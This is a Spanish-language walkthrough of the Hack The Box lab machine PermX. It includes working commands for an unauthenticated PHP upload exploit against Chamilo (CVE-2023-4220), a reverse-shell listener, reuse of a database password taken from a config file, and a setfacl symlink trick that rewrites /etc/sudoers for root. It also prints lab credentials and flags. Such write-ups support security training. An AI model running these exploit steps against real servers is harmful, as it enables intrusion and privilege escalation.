This page looks best with JavaScript enabled

HackTheBox - PermX

 •  ✍️ sckull

En PermX descubrimos la plataforma Chamilo en la cual explotamos una vulnerabilidad que permite subir archivos sin autenticar lo que nos dio acceso a una shell a la maquina. Con credenciales almacenadas en un archivo de configuracion logramos acceder a un segundo usuario. Escalamos privilegios utilizando setfacl modificando el archivo sudoers.

Nombre PermX box_img_maker
OS

Linux

Puntos 20
Dificultad Easy
Fecha de Salida 2024-07-06
IP 10.10.11.23
Maker

mtzsec

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [398, 563, 1227, 624, 329, 133, 93, 26, 12, 28],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Nmap 7.94SVN scan initiated Thu Jul 11 20:20:11 2024 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.23
Nmap scan report for 10.10.11.23
Host is up (0.070s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_  256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://permx.htb
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 11 20:20:20 2024 -- 1 IP address (1 host up) scanned in 9.32 seconds

Web Site

El sitio web nos redirige al dominio permx.htb el cual agregamos al archivo /etc/hosts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[kali@kali] [/dev/pts/3] 
[~/htb/permx]> curl -sI 10.10.11.23
HTTP/1.1 302 Found
Date: Fri, 12 Jul 2024 00:20:51 GMT
Server: Apache/2.4.52 (Ubuntu)
Location: http://permx.htb
Content-Type: text/html; charset=iso-8859-1

[kali@kali] [/dev/pts/3] 
[~/htb/permx]> 

Sitio web con tematica relacionada a aprendizaje en linea.

image

Web Tech

wappalyzer nos muestra la tecnologia utilizada por el sitio.

image

Directory Brute Forcing

feroxbuster muestra unicamente los recursos del sitio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
[kali@kali] [/dev/pts/3] 
[~/htb/permx]> feroxbuster -u http://permx.htb 
                                                                                                                                                                                             
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://permx.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.10.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      271c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        9l       28w      303c http://permx.htb/js => http://permx.htb/js/
301      GET        9l       28w      304c http://permx.htb/css => http://permx.htb/css/
301      GET        9l       28w      304c http://permx.htb/lib => http://permx.htb/lib/
200      GET      109l      205w     2698c http://permx.htb/js/main.js
200      GET      434l      827w     7929c http://permx.htb/css/style.css
200      GET        6l       80w     5378c http://permx.htb/img/testimonial-2.jpg
200      GET      587l     2466w    36182c http://permx.htb/index.html
200      GET      158l      719w    58188c http://permx.htb/img/cat-4.jpg
200      GET       11l      188w    16953c http://permx.htb/lib/animate/animate.min.css
200      GET        6l     3782w   164194c http://permx.htb/css/bootstrap.min.css
200      GET      162l     1097w   114385c http://permx.htb/img/carousel-1.jpg
200      GET      206l     1251w    90219c http://permx.htb/img/about.jpg
301      GET        9l       28w      304c http://permx.htb/img => http://permx.htb/img/
200      GET        5l       69w     4677c http://permx.htb/img/testimonial-3.jpg
200      GET      107l      604w    40660c http://permx.htb/img/course-2.jpg
200      GET      112l      581w    45923c http://permx.htb/img/course-3.jpg
200      GET      587l     2466w    36182c http://permx.htb/
200      GET       59l      359w    33963c http://permx.htb/img/team-1.jpg
200      GET        8l       81w     5070c http://permx.htb/img/testimonial-4.jpg
200      GET      109l      597w    49102c http://permx.htb/img/team-4.jpg
200      GET       41l      273w    28085c http://permx.htb/img/team-2.jpg
200      GET      138l      705w    57467c http://permx.htb/img/cat-1.jpg
200      GET       56l      315w    34720c http://permx.htb/img/course-1.jpg
301      GET        9l       28w      323c http://permx.htb/lib/owlcarousel/assets => http://permx.htb/lib/owlcarousel/assets/
200      GET      132l      738w    55021c http://permx.htb/img/cat-2.jpg
200      GET       23l      172w     1090c http://permx.htb/lib/owlcarousel/LICENSE
200      GET      239l     1265w   101629c http://permx.htb/img/carousel-2.jpg
200      GET      126l      738w    60325c http://permx.htb/img/cat-3.jpg
200      GET     3275l     9533w    85368c http://permx.htb/lib/owlcarousel/owl.carousel.js
200      GET       20l      133w     8179c http://permx.htb/lib/owlcarousel/assets/owl.video.play.png
200      GET        7l      279w    42766c http://permx.htb/lib/owlcarousel/owl.carousel.min.js
200      GET       19l       90w     1573c http://permx.htb/lib/owlcarousel/
200      GET       94l      537w    57860c http://permx.htb/img/team-3.jpg
200      GET       14l       81w     5311c http://permx.htb/img/testimonial-1.jpg
200      GET       17l       67w     1150c http://permx.htb/lib/easing/
200      GET       23l      123w     2528c http://permx.htb/lib/owlcarousel/assets/
200      GET        7l      158w     9028c http://permx.htb/lib/waypoints/waypoints.min.js
200      GET        0l        0w        0c http://permx.htb/lib/waypoints/links.php
200      GET       17l       70w     1165c http://permx.htb/lib/waypoints/

Subdomain Discovery

Tras ejecutar ffuf este muestra el subdominio www y lms.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[kali@kali] [/dev/pts/3] 
[~/htb/permx]> ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.permx.htb" -u http://permx.htb -fl 10

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://permx.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.permx.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response lines: 10
________________________________________________

www                     [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 71ms]
lms                     [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 94ms]
:: Progress: [100000/100000] :: Job [1/1] :: 564 req/sec :: Duration: [0:03:05] :: Errors: 0 ::
[kali@kali] [/dev/pts/3] 
[~/htb/permx]>

Chamilo - RCE

El subdominio lms.perm.htb muestra el login de la plataforma Chamilo. Algo que hay que destacar es que se muestra el nombre del administrador: David Miller, y su correo admin@permx.htb.

image

Chamilo tiene multiples vulnerabilidades las cuales afectan a versiones <= v1.11.24.

Una de ellas (CVE-2023-4220) permite la subida de archivos sin autenticacion a traves de la pagina bigUpload.php lo que permitiria la ejecucion de codigo PHP con ello, tambien, comandos en la maquina.

Para la explotacion, la unica condicion es que el directorio main/inc/lib/javascript/bigupload/files/ exista en el sitio web, observamos que la respuesta fue exitosa al consultar con curl dicho directorio.

1
2
3
4
5
6
7
8
9
[kali@kali] [/dev/pts/3] 
[~/htb/permx]> curl -sI http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/
HTTP/1.1 200 OK
Date: Fri, 12 Jul 2024 01:19:48 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Type: text/html;charset=UTF-8

[kali@kali] [/dev/pts/3] 
[~/htb/permx]>

El PoC muestra la creacion de un archivo PHP con la ejecucion de un comando, tras ello se realiza la subida con curl en bigUpload.php por medio del metodo POST con el parametro bigUploadFile donde se especifica el archivo anterior.

Replicamos el PoC y observamos que exitosamente ejecutamos los comandos id;pwd.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
[kali@kali] [/dev/pts/3] 
[~/htb/permx]> echo "<?php system('id;pwd');" > test.php
[kali@kali] [/dev/pts/3] 
[~/htb/permx]> curl -F 'bigUploadFile=@test.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
The file has successfully been uploaded.%                                                                                                                                                    
[kali@kali] [/dev/pts/3] 
[~/htb/permx]> curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/test.php'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/chamilo/main/inc/lib/javascript/bigupload/files
[kali@kali] [/dev/pts/3] 
[~/htb/permx]>

User - www-data

Ejecutamos una shell inversa utilizando shells y logramos el acceso como www-data.

1
2
3
4
5
6
7
8
9
[kali@kali] [/dev/pts/6] [1]
[~/htb]> rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.10] from permx.htb [10.10.11.23] 34756
/bin/sh: 0: can't access tty; job control turned off
$ id;pwd
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/chamilo/main/inc/lib/javascript/bigupload/files
$

Observamos que existe el usuario mtz en la maquina.

1
2
3
4
www-data@permx:/$ cat /etc/passwd | grep home
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash
www-data@permx:/$

Creds

Realizamos una enumeracion en los directorios de Chamilo, encontramos credenciales de acceso para la base de datos y configuracion para la plataforma.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
[..]

$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
$_configuration['db_manager_enabled'] = false;

/**                                                                                                                                                                                          
 * Misc. settings.                                                                                                                                                                           
 */                                                                                                                                                                                          
$_configuration['security_key'] = '08ecc755d674efaa6b1ab289e6053a9b';
$_configuration['password_encryption'] = 'bcrypt';
$_configuration['session_stored_in_db'] = false;
$_configuration['session_lifetime'] = 360000;
$_configuration['software_name'] = 'Chamilo';
$_configuration['deny_delete_users'] = false;
$_configuration['system_version'] = '1.11.24';
$_configuration['system_stable'] = true;

[..]

User - mtz

Con la contrasena de la base de datos logramos acceder como mtz y a la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
www-data@permx:/$ su mtz
Password: 03F6lY3uXAP2bkW8
mtz@permx:/$ whoami
mtz
mtz@permx:/$ id
uid=1000(mtz) gid=1000(mtz) groups=1000(mtz)
mtz@permx:/$ cd
mtz@permx:~$ ls
user.txt
mtz@permx:~$ cat user.txt
1fe9f9df4e0c492936a7a1b20ab25856
mtz@permx:~$ 

Privesc

Observamos que el usuario puede ejecutar /opt/acl.sh como root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
mtz@permx:~$ sudo -l -l
sudo -l -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User mtz may run the following commands on permx:

Sudoers entry:
    RunAsUsers: ALL
    RunAsGroups: ALL
    Options: !authenticate
    Commands:
        /opt/acl.sh
mtz@permx:~$ 

El script permite el cambio de permisos de archivos que existan dentro del directorio de mtz utilizando setfacl.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

El script unicamene realiza un “check” para que el target o archivo no este fuera del directorio principal, basicamente el comando final quedaria de la siguiente forma:

1
sudo setfacl -m u:"<user>":"<perms>" "/home/mtz/<file>"

Lo que se esperaria es darle permisos de lectura, escritura y/o ejecucion a algun archivo.

1
sudo setfacl -m u:"mtz":"rwx" "/home/mtz/<file>"

Intentamos realizar la lectura del archivo /etc/sudoers.

1
2
3
mtz@permx:~$ sudo su
Sorry, user mtz is not allowed to execute '/usr/bin/su' as root on permx.
mtz@permx:~$

Inicialmente creamos un symlink a /etc/sudoers y ejecutamos el script dandole permisos de lectura, escritura y ejecucion (no necesario).

1
2
3
4
5
mtz@permx:~$ ln -s /etc/sudoers sud
mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/sud
mtz@permx:~$ ls -lah sud
lrwxrwxrwx 1 mtz mtz 12 Jul 12 02:31 sud -> /etc/sudoers
mtz@permx:~$

Vemos que podemos realizar la lectura de este.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
mtz@permx:~$ cat sud
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#

[...]

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "@include" directives:

@includedir /etc/sudoers.d
mtz ALL=(ALL:ALL) NOPASSWD: /opt/acl.sh
mtz@permx:~$

Modificamos el archivo de tal forma que el usuario mtz pudiera ejecutar cualquier comando como root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
mtz@permx:~$ cat sud | tail
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "@include" directives:

@includedir /etc/sudoers.d
mtz ALL=(ALL:ALL) ALL
mtz@permx:~$

Finalmente ejecutamos sudo su e ingresamos la contrasena, para luego obtener acceso como root y realizar la lectura de la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
mtz@permx:~$ sudo su
[sudo] password for mtz: 
root@permx:/home/mtz# whoami
root
root@permx:/home/mtz# cd
root@permx:~# ls
backup  reset.sh  root.txt
root@permx:~# cat root.txt
c990b662bbe51a703346de6f03ac7fdb
root@permx:~# 
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe